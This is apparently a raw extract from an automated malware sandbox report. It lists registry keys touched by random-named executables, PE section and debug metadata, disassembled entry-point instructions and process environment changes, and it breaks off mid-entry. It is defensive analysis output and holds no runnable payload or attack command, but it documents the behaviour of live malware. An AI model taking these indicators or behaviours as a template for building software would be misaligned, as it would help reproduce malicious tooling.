"UsersFiles" (Path: "HKCU\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "5cM9dm9.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\WOW6432NODE\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "5cM9dm9.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "5cM9dm9.exe" touched "Property System Both Class Factory" (Path: "HKCU\WOW6432NODE\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "5cM9dm9.exe" touched "Known Folder Manager" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\INPROCSERVER32") "5cM9dm9.exe" touched "Sync root manager" (Path: "HKCU\WOW6432NODE\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "5cM9dm9.exe" touched "ExecuteAssociation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{1649D1CF-DEAF-4A68-ABE8-5C9F68572FD1}\INPROCSERVER32") "5cM9dm9.exe" touched "Security Manager" (Path: "HKCU\WOW6432NODE\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "5cM9dm9.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\WOW6432NODE\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "5cM9dm9.exe" touched "ShellItem Shell Namespace helper" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\INPROCHANDLER") "explothe.exe" touched "Removable Drives" (Path: "HKCU\WOW6432NODE\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE\INITPROPERTYBAG") "explothe.exe" touched "Control Panel" (Path: "HKCU\WOW6432NODE\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "explothe.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\WOW6432NODE\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\WOW6432NODE\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "explothe.exe" touched "Other Users Folder" (Path: "HKCU\WOW6432NODE\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\WOW6432NODE\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "explothe.exe" touched "Games Explorer" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "explothe.exe" touched "StreamBackedFolder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "explothe.exe" touched "Computers and Devices" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "schtasks.exe" touched "TaskScheduler class" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}") "cmd.exe" touched "File Property Page Extension" (Path: "HKCU\CLSID\{21B22460-3AEA-1069-A2DC-08002B30309D}") "cmd.exe" touched "Internet Shortcut" (Path: "HKCU\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}\ELEVATION")4f:T623,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "foto1661_1_.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "pu4QC49.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "PH1iJ6gO.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "XJ8DL15.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "TW9GU8TZ.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "4Bu185jX.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "1RI95Jv4.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "salo.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "4Kb287am.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "tus_1_.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "3CP67Xw.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "1TB52Ye1.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "UG5dl07.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "yG0Wt0do.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "ZP7Gz0iG.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "Sj8xo42.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "5sU52oo.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "5cM9dm9.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "3kc5oj81.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "2va9153.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "clip64.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG"50:T57f,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" has an executable section named ".text" "foto1661_1_.exe" has an executable section named ".text" "pu4QC49.exe" has an executable section named ".text" "PH1iJ6gO.exe" has an executable section named ".text" "XJ8DL15.exe" has an executable section named ".text" "TW9GU8TZ.exe" has an executable section named ".text" "4Bu185jX.exe" has an executable section named ".text" "1RI95Jv4.exe" has an executable section named ".text" "salo.exe" has an executable section named ".text" "4Kb287am.exe" has an executable section named ".text" "tus_1_.exe" has an executable section named ".text" "3CP67Xw.exe" has an executable section named ".text" "1TB52Ye1.exe" has an executable section named ".text" "UG5dl07.exe" has an executable section named ".text" "yG0Wt0do.exe" has an executable section named ".text" "ZP7Gz0iG.exe" has an executable section named ".text" "Sj8xo42.exe" has an executable section named ".text" "5sU52oo.exe" has an executable section named ".text" "2YP522uh.exe" has an executable section named ".text" "5cM9dm9.exe" has an executable section named ".text" "3kc5oj81.exe" has an executable section named ".text" "2va9153.exe" has an executable section named ".text" "6MH49fE.exe" has an executable section named ".code" "6MH49fE.exe" has an executable section named ".text" "clip64.dll" has an executable section named ".text"51:T53f,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" has an writable section named ".data" "foto1661_1_.exe" has an writable section named ".data" "pu4QC49.exe" has an writable section named ".data" "PH1iJ6gO.exe" has an writable section named ".data" "XJ8DL15.exe" has an writable section named ".data" "TW9GU8TZ.exe" has an writable section named ".data" "4Bu185jX.exe" has an writable section named ".data" "4Bu185jX.exe" has an writable section named ".i2" "1RI95Jv4.exe" has an writable section named ".data" "1RI95Jv4.exe" has an writable section named ".i2" "salo.exe" has an writable section named ".data" "salo.exe" has an writable section named ".i2" "4Kb287am.exe" has an writable section named ".data" "4Kb287am.exe" has an writable section named ".css" "4Kb287am.exe" has an writable section named ".111" "tus_1_.exe" has an writable section named ".data" "tus_1_.exe" has an writable section named ".i2" "3CP67Xw.exe" has an writable section named ".data" "3CP67Xw.exe" has an writable section named ".css" "3CP67Xw.exe" has an writable section named ".111" "1TB52Ye1.exe" has an writable section named ".data" "1TB52Ye1.exe" has an writable section named ".css" "1TB52Ye1.exe" has an writable section named ".111" "UG5dl07.exe" has an writable section named ".data" "yG0Wt0do.exe" has an writable section named ".data"52:T328e,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "foto1661_1_.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "pu4QC49.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "PH1iJ6gO.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "XJ8DL15.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "TW9GU8TZ.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "4Bu185jX.exe" file has an entrypoint instructions - "jmp 0x443ae3,jmp 0x473979,jmp 0x44c160,jmp 0x437207,jmp 0x421afa,jmp 0x4b4ea0,jmp 0x437776,jmp 0x47471a,jmp 0x45665e,jmp 0x4b9139,jmp 0x41c5c8,jmp 0x444c38,jmp 0x41b285,jmp 0x454b00,jmp 0x42d22b,jmp 0x455d58,jmp 0x41ddc7,jmp 0x41a325,jmp 0x49e561,jmp 0x413bb0," "1RI95Jv4.exe" file has an entrypoint instructions - "jmp 0x443ae3,jmp 0x473979,jmp 0x44c160,jmp 0x437207,jmp 0x421afa,jmp 0x4b4ea0,jmp 0x437776,jmp 0x47471a,jmp 0x45665e,jmp 0x4b9139,jmp 0x41c5c8,jmp 0x444c38,jmp 0x41b285,jmp 0x454b00,jmp 0x42d22b,jmp 0x455d58,jmp 0x41ddc7,jmp 0x41a325,jmp 0x49e561,jmp 0x413bb0," "salo.exe" file has an entrypoint instructions - "jmp 0x443ae3,jmp 0x473979,jmp 0x44c160,jmp 0x437207,jmp 0x421afa,jmp 0x4b4ea0,jmp 0x437776,jmp 0x47471a,jmp 0x45665e,jmp 0x4b9139,jmp 0x41c5c8,jmp 0x444c38,jmp 0x41b285,jmp 0x454b00,jmp 0x42d22b,jmp 0x455d58,jmp 0x41ddc7,jmp 0x41a325,jmp 0x49e561,jmp 0x413bb0," "4Kb287am.exe" file has an entrypoint instructions - "jmp 0x440926,jmp 0x457906,jmp 0x448fb0,jmp 0x4336a9,jmp 0x41d9e9,jmp 0x4a2ec0,jmp 0x433c4a,jmp 0x4586e9,jmp 0x4aabe9,jmp 0x4182d4,jmp 0x441a88,jmp 0x451950,jmp 0x429404,jmp 0x452ba8,jmp 0x419c89,jmp 0x4178f3,jmp 0x48ffcf,jmp 0x411cb0,jmp 0x452e39,jmp 0x46fc94," "tus_1_.exe" file has an entrypoint instructions - "jmp 0x443ae3,jmp 0x473979,jmp 0x44c160,jmp 0x437207,jmp 0x421afa,jmp 0x4b4ea0,jmp 0x437776,jmp 0x47471a,jmp 0x45665e,jmp 0x4b9139,jmp 0x41c5c8,jmp 0x444c38,jmp 0x41b285,jmp 0x454b00,jmp 0x42d22b,jmp 0x455d58,jmp 0x41ddc7,jmp 0x41a325,jmp 0x49e561,jmp 0x413bb0," "3CP67Xw.exe" file has an entrypoint instructions - "jmp 0x440936,jmp 0x457916,jmp 0x448fc0,jmp 0x4336b9,jmp 0x41d9f9,jmp 0x4a2ed0,jmp 0x433c5a,jmp 0x4586f9,jmp 0x4aabf9,jmp 0x4182e4,jmp 0x441a98,jmp 0x451960,jmp 0x429414,jmp 0x452bb8,jmp 0x419c99,jmp 0x417903,jmp 0x48ffdf,jmp 0x411cb0,jmp 0x452e49,jmp 0x46fca4," "1TB52Ye1.exe" file has an entrypoint instructions - "jmp 0x440926,jmp 0x457906,jmp 0x448fb0,jmp 0x4336a9,jmp 0x41d9e9,jmp 0x4a2ec0,jmp 0x433c4a,jmp 0x4586e9,jmp 0x4aabe9,jmp 0x4182d4,jmp 0x441a88,jmp 0x451950,jmp 0x429404,jmp 0x452ba8,jmp 0x419c89,jmp 0x4178f3,jmp 0x48ffcf,jmp 0x411cb0,jmp 0x452e39,jmp 0x46fc94," "UG5dl07.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "yG0Wt0do.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "ZP7Gz0iG.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "Sj8xo42.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "5sU52oo.exe" file has an entrypoint instructions - "call 0x414888,jmp 0x41427f,jmp 0x4186fa,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17,call 0x4273e3,test eax, eax,je 0x41442a,mov ecx, dword ptr [ebp + 8],int 0x29,push 3,call 0x4145d7,mov dword ptr [esp], 0x2cc,lea eax, [ebp - 0x324],push 0,push eax,call 0x414ec0,add esp, 0xc,mov dword ptr [ebp - 0x274], eax,mov dword ptr [ebp - 0x278], ecx,mov dword ptr [ebp - 0x27c], edx,mov dword ptr [ebp - 0x280], ebx," "2YP522uh.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "5cM9dm9.exe" file has an entrypoint instructions - "call 0x414888,jmp 0x41427f,jmp 0x4186fa,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17,call 0x4273e3,test eax, eax,je 0x41442a,mov ecx, dword ptr [ebp + 8],int 0x29,push 3,call 0x4145d7,mov dword ptr [esp], 0x2cc,lea eax, [ebp - 0x324],push 0,push eax,call 0x414ec0,add esp, 0xc,mov dword ptr [ebp - 0x274], eax,mov dword ptr [ebp - 0x278], ecx,mov dword ptr [ebp - 0x27c], edx,mov dword ptr [ebp - 0x280], ebx," "3kc5oj81.exe" file has an entrypoint instructions - "call 0x4014e9,jmp 0x4010c5,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x401286,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x40127f,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x40128b,add edx, 0x28,cmp edx, esi,jne 0x401270,xor eax, eax,pop esi,pop ebp,ret ,mov eax, edx,jmp 0x401288,push esi,call 0x401a29,test eax, eax,je 0x4012b9,mov eax, dword ptr fs:[0x18],mov esi, 0x42bd54," "2va9153.exe" file has an entrypoint instructions - "call 0x4014e9,jmp 0x4010c5,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x401286,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x40127f,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x40128b,add edx, 0x28,cmp edx, esi,jne 0x401270,xor eax, eax,pop esi,pop ebp,ret ,mov eax, edx,jmp 0x401288,push esi,call 0x401a29,test eax, eax,je 0x4012b9,mov eax, dword ptr fs:[0x18],mov esi, 0x42bd74," "6MH49fE.exe" file has an entrypoint instructions - "push 0xac,push 0,push 0x418068,call 0x405070,add esp, 0xc,push 0,call 0x405076,mov dword ptr [0x41806c], eax,push 0,push 0x1000,push 0,call 0x40507c,mov dword ptr [0x418068], eax,call 0x405000,mov eax, 0x41707c,mov dword ptr [0x41808c], eax,call 0x40e4d0,call 0x40e23d,call 0x40b120,call 0x40a9a9," "clip64.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10003e0e,call 0x100041f9,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x10003ccf,add esp, 0xc,pop ebp,ret 0xc,jmp 0x10006e36,push ebp,mov ebp, esp,sub esp, 0xc,lea ecx, [ebp - 0xc],call 0x100035f8,push 0x10014590,lea eax, [ebp - 0xc],push eax,call 0x10004497,int3 ,push ebp,mov ebp, esp,and dword ptr [0x10016a48], 0,sub esp, 0x24,or dword ptr [0x10016004], 1,push 0xa,call 0x1000e0c7,test eax, eax," "6aw7Xx2.exe" file has an entrypoint instructions - "pushal ,mov esi, 0x412015,lea edi, [esi - 0x11015],push edi,mov ebp, esp,lea ebx, [esp - 0x3e80],xor eax, eax,push eax,cmp esp, ebx,jne 0x41bca8,inc esi,inc esi,push ebx,push 0x19a62,push edi,add ebx, 4,push ebx,push 0x9c78,push esi,add ebx, 4,push ebx,push eax,mov dword ptr [ebx], 0x20003,push ebp,push edi,push esi,push ebx,sub esp, 0x7c,mov edx, dword ptr [esp + 0x90],mov dword ptr [esp + 0x74], 0,mov byte ptr [esp + 0x73], 0,mov ebp, dword ptr [esp + 0x9c],lea eax, [edx + 4],mov dword ptr [esp + 0x78], eax,"53:T1c6c,Process "pu4QC49.exe" (UID: 00000000-00002300) was launched with new environment variables: "__COMPAT_LAYER="ElevateCreateProcess WRPMitigation", PROCESSOR_ARCHITEW6432="AMD64"" Process "pu4QC49.exe" (UID: 00000000-00002300) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "cmd.exe" (UID: 00000000-00006420) was launched with new environment variables: "b2eincfilepath="%TEMP%\IXP000.TMP"" Process "powershell.exe" (UID: 00000000-00002612) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "powershell.exe" (UID: 00000000-00002612) was launched with missing environment variables: "b2eincfilepath" Process "explothe.exe" (UID: 00000000-00004144) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "explothe.exe" (UID: 00000000-00004144) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, __COMPAT_LAYER, FPS_BROWSER_USER_PROFILE_STRING, PROCESSOR_ARCHITEW6432" Process "cmd.exe" (UID: 00000000-00007804) was launched with new environment variables: "PROMPT="$P$G", __COMPAT_LAYER="ElevateCreateProcess WRPMitigation", PROCESSOR_ARCHITEW6432="AMD64"" Process "cmd.exe" (UID: 00000000-00007804) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "tus.exe" (UID: 00000000-00006604) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "tus.exe" (UID: 00000000-00006604) was launched with missing environment variables: "PROMPT" Process "cacls.exe" (UID: 00000000-00004428) was launched with new environment variables: "PROMPT="$P$G"" Process "cacls.exe" (UID: 00000000-00004428) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, FPS_BROWSER_USER_PROFILE_STRING" Process "yG0Wt0do.exe" (UID: 00000000-00007384) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "yG0Wt0do.exe" (UID: 00000000-00007384) was launched with missing environment variables: "PROMPT" Process "cmd.exe" (UID: 00000000-00007604) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00007604) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, FPS_BROWSER_USER_PROFILE_STRING" Process "1RI95Jv4.exe" (UID: 00000000-00002544) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "1RI95Jv4.exe" (UID: 00000000-00002544) was launched with missing environment variables: "PROMPT" Process "cacls.exe" (UID: 00000000-00008160) was launched with new environment variables: "PROMPT="$P$G"" Process "cacls.exe" (UID: 00000000-00008160) was launched with missing environment variables: "FPS_BROWSER_APP_PROFILE_STRING, FPS_BROWSER_USER_PROFILE_STRING" Process "AppLaunch.exe" (UID: 00000000-00008100) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "AppLaunch.exe" (UID: 00000000-00008100) was launched with missing environment variables: "PROMPT" Process "msedge.exe" (UID: 00000000-00007084) was launched with new environment variables: "FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer", b2eincfilepath="%TEMP%\IXP000.TMP", FPS_BROWSER_USER_PROFILE_STRING="Default"" Process "msedge.exe" (UID: 00000000-00007084) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, Path, ProgramFiles" Process "msedge.exe" (UID: 00000000-00007084) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "msedge.exe" (UID: 00000000-00002280) was launched with new environment variables: "CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_7084_RJRWQMEUEJYPWULH", EDGE_BROWSER_PID="7084"" Process "msedge.exe" (UID: 00000000-00004776) was launched with missing environment variables: "CHROME_CRASHPAD_PIPE_NAME, EDGE_BROWSER_PID" Process "msedge.exe" (UID: 00000000-00006404) was launched with new environment variables: "EDGE_METRICS_SESSION_ID="21", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", CHROME_CRASHPAD_PIPE_NAME="\\.\pipe\LOCAL\crashpad_7084_RJRWQMEUEJYPWULH", 